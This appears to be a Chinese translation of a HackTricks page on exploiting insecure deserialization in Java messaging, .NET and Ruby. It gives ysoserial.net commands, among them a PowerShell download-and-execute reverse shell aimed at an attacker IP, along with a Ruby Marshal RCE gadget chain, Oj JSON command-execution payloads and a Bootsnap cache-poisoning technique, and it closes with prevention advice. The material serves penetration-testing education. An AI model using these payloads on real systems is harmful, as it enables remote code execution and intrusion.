![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>) ### 利用 所以,基本上有**一堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您将能够发送**恶意序列化对象,这些对象将被消费者/订阅者反序列化**。\ 这意味着在此利用中,所有**将使用该消息的客户端将被感染**。 您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的gadget来利用该漏洞。 工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务,发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的任何gadget在易受攻击的应用程序中时有效。 ### 参考文献 - JMET讲座:[https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - 幻灯片:[https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net 在.Net的上下文中,反序列化利用以类似于Java的方式操作,其中gadget被利用以在反序列化对象时运行特定代码。 ### 指纹 #### 白盒 应检查源代码中是否存在以下内容: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` 重点应放在允许通过用户控制的变量确定类型的序列化器上。 #### 黑盒 搜索应针对Base64编码字符串**AAEAAAD/////**或任何可能在服务器端进行反序列化的类似模式,从而控制要反序列化的类型。这可能包括但不限于包含`TypeObject`或`$type`的**JSON**或**XML**结构。 ### ysoserial.net 在这种情况下,您可以使用工具[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)来**创建反序列化利用**。下载git存储库后,您应该**使用Visual Studio等编译该工具**。 如果您想了解**ysoserial.net是如何创建其利用的**,您可以[**查看此页面,其中解释了ObjectDataProvider gadget + ExpandedWrapper + Json.Net格式化程序**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。 **ysoserial.net**的主要选项包括:**`--gadget`**、**`--formatter`**、**`--output`**和**`--plugin`**。 - **`--gadget`**用于指示要滥用的gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。 - **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化) - **`--output`**用于指示您希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行**编码,因此如果您从Linux控制台获取原始数据并仅对其进行编码,您可能会遇到一些**编码兼容性问题**,这将阻止利用正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_ - **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**,如ViewState #### 更多ysoserial.net参数 - `--minify`将提供一个**更小的有效负载**(如果可能) - `--raf -f Json.Net -c "anything"`这将指示可以与提供的格式化程序(在这种情况下为`Json.Net`)一起使用的所有gadget - `--sf xml`您可以**指示一个gadget**(`-g`),ysoserial.net将搜索包含“xml”的格式化程序(不区分大小写) **ysoserial示例**以创建利用: ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 #Timing #I tried using ping and timeout but there wasn't any difference in the response timing from the web server #DNS/HTTP request ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64 #Reverse shell #Create shell command in linux echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0 #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** 还有一个 **非常有趣的参数**,可以更好地理解每个漏洞是如何工作的: `--test`\ 如果您指定此参数,**ysoserial.net** 将 **在本地尝试** **漏洞**,因此您可以测试您的有效载荷是否能正常工作。\ 这个参数很有帮助,因为如果您查看代码,您会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) { try { SerializersHelper.JsonNet_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } ``` 这意味着为了测试漏洞,代码将调用 [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) ```java public static object JsonNet_deserialize(string str) { Object obj = JsonConvert.DeserializeObject(str, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); return obj; } ``` 在**之前的代码中存在可被利用的漏洞**。因此,如果你在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\ 因此,**`--test`** 参数使我们能够理解**哪些代码块易受反序列化漏洞的影响**,该漏洞**ysoserial.net**可以创建。 ### ViewState 查看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-__viewstate-parameter.md)来**执行任意代码。** 如果你**已经知道受害者机器使用的秘密**,[**阅读这篇文章以了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)**。** ### 预防 为了减轻与 .Net 中反序列化相关的风险: - **避免允许数据流定义其对象类型。** 尽可能使用 `DataContractSerializer` 或 `XmlSerializer`。 - **对于 `JSON.Net`,将 `TypeNameHandling` 设置为 `None`:** %%%TypeNameHandling = TypeNameHandling.None%%% - **避免使用带有 `JavaScriptTypeResolver` 的 `JavaScriptSerializer`。** - **限制可以被反序列化的类型,** 理解 .Net 类型固有的风险,例如 `System.IO.FileInfo`,它可以修改服务器文件的属性,可能导致拒绝服务攻击。 - **对具有风险属性的类型保持谨慎,** 如 `System.ComponentModel.DataAnnotations.ValidationException` 及其 `Value` 属性,可能会被利用。 - **安全地控制类型实例化,** 防止攻击者影响反序列化过程,使得即使是 `DataContractSerializer` 或 `XmlSerializer` 也变得脆弱。 - **使用自定义 `SerializationBinder` 实现白名单控制**,适用于 `BinaryFormatter` 和 `JSON.Net`。 - **保持对已知不安全反序列化工具的了解,** 确保反序列化器不实例化此类类型。 - **将潜在风险代码与具有互联网访问权限的代码隔离,** 以避免将已知工具暴露给不可信的数据源,例如 WPF 应用程序中的 `System.Windows.Data.ObjectDataProvider`。 ### **参考文献** - Java 和 .Net JSON 反序列化**论文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 演讲:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** 在 Ruby 中,序列化通过 **marshal** 库中的两个方法来实现。第一个方法称为 **dump**,用于将对象转换为字节流。这个过程称为序列化。相反,第二个方法 **load** 用于将字节流还原为对象,这个过程称为反序列化。 为了保护序列化对象,**Ruby 使用 HMAC(基于哈希的消息认证码)**,确保数据的完整性和真实性。用于此目的的密钥存储在多个可能的位置之一: - `config/environment.rb` - `config/initializers/secret_token.rb` - `config/secrets.yml` - `/proc/self/environ` **Ruby 2.X 通用反序列化到 RCE gadget 链(更多信息见** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: ```ruby #!/usr/bin/env ruby # Code from https://www.elttam.com/blog/ruby-deserialization/ class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2" puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` 其他 RCE 链以利用 Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) ### Ruby .send() 方法 正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并使用任何参数。 例如,调用 eval 并将 ruby 代码作为第二个参数将允许执行任意代码: ```ruby .send('eval', '') == RCE ``` 此外,如果只有一个参数被攻击者控制,如前面的写作中提到的,可以调用对象的任何**不需要参数**或其参数具有**默认值**的方法。\ 为此,可以枚举对象的所有方法以**找到满足这些要求的一些有趣方法**。 ```ruby .send('') # This code is taken from the original blog post # in this case is Repository ## Find methods with those requirements repo = Repository.find(1) # get first repo repo_methods = [ # get names of all methods accessible by Repository object repo.public_methods(), repo.private_methods(), repo.protected_methods(), ].flatten() repo_methods.length() # Initial number of methods => 5542 ## Filter by the arguments requirements candidate_methods = repo_methods.select() do |method_name| [0, -1].include?(repo.method(method_name).arity()) end candidate_methods.length() # Final number of methods=> 3595 ``` ### Ruby 类污染 检查如何可能 [污染 Ruby 类并在这里滥用它](ruby-class-pollution.md)。 ### Ruby _json 污染 当发送一些不可哈希的值(如数组)时,它们将被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在请求体中设置一个名为 `_json` 的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 `_json` 参数执行某些操作,则可能会发生授权绕过。 在 [Ruby _json 污染页面](ruby-_json-pollution.md) 中查看更多信息。 ### 其他库 此技术取自[ **这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。 还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化过程中获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获得 RCE 的函数):
输入数据类内部启动方法
Marshal (Ruby)二进制_load
OjJSONhash(类需要作为键放入哈希(映射)中)
OxXMLhash(类需要作为键放入哈希(映射)中)
Psych (Ruby)YAMLhash(类需要作为键放入哈希(映射)中)
init_with
JSON (Ruby)JSONjson_create([查看关于 json_create 的说明](#table-vulnerable-sinks))
基本示例: ```ruby # Existing Ruby class inside the code of the app class SimpleClass def initialize(cmd) @cmd = cmd end def hash system(@cmd) end end # Exploit require 'oj' simple = SimpleClass.new("open -a calculator") # command for macOS json_payload = Oj.dump(simple) puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` 在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数内部会调用 `to_s`,这将调用 spec,进而调用 fetch_path,最终可以使其获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。 ```json { "^o": "URI::HTTP", "scheme": "s3", "host": "example.org/anyurl?", "port": "anyport", "path": "/", "user": "anyuser", "password": "anypw" } ``` 此外,发现使用前述技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转化为完整的 RCE,类似于: ```json { "^o": "Gem::Resolver::SpecSpecification", "spec": { "^o": "Gem::Resolver::GitSpecification", "source": { "^o": "Gem::Source::Git", "git": "zip", "reference": "-TmTT=\"$(id>/tmp/anyexec)\"", "root_dir": "/tmp", "repository": "anyrepo", "name": "anyname" }, "spec": { "^o": "Gem::Resolver::Specification", "name": "name", "dependencies": [] } } } ``` 检查更多细节请参见[**原始帖子**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。 ### Bootstrap Caching 这实际上不是一个反序列化漏洞,而是一个利用 bootstrap 缓存来从 Rails 应用程序中获取 RCE 的好技巧(完整的[原始帖子在这里](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。 以下是文章中详细描述的通过滥用 Bootsnap 缓存来利用任意文件写入漏洞的步骤的简要总结: - 识别漏洞和环境 Rails 应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行(由于 Docker 的非根用户,只有某些目录如 tmp 可写),但这仍然允许写入 Bootsnap 缓存目录(通常在 tmp/cache/bootsnap 下)。 - 理解 Bootsnap 的缓存机制 Bootsnap 通过缓存编译的 Ruby 代码、YAML 和 JSON 文件来加快 Rails 启动时间。它存储包含缓存键头的缓存文件(带有 Ruby 版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。 - 收集文件元数据 攻击者首先选择一个在 Rails 启动期间可能加载的目标文件(例如,Ruby 标准库中的 set.rb)。通过在容器内执行 Ruby 代码,他们提取关键元数据(如 RUBY_VERSION、RUBY_REVISION、大小、mtime 和 compile_option)。这些数据对于构造有效的缓存键至关重要。 - 计算缓存文件路径 通过复制 Bootsnap 的 FNV-1a 64 位哈希机制,确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在 Bootsnap 期望的位置(例如,在 tmp/cache/bootsnap/compile-cache-iseq/ 下)。 - 构造恶意缓存文件 攻击者准备一个有效载荷,该有效载荷: - 执行任意命令(例如,运行 id 以显示进程信息)。 - 在执行后删除恶意缓存,以防止递归利用。 - 加载原始文件(例如,set.rb)以避免崩溃应用程序。 该有效载荷被编译成二进制 Ruby 代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和 Bootsnap 的正确版本号)。 - 覆盖并触发执行 利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入 tmp/restart.txt,Puma 会监控该文件)。在重启期间,当 Rails 需要目标文件时,恶意缓存文件被加载,从而导致远程代码执行(RCE)。 {{#include ../../banners/hacktricks-training.md}}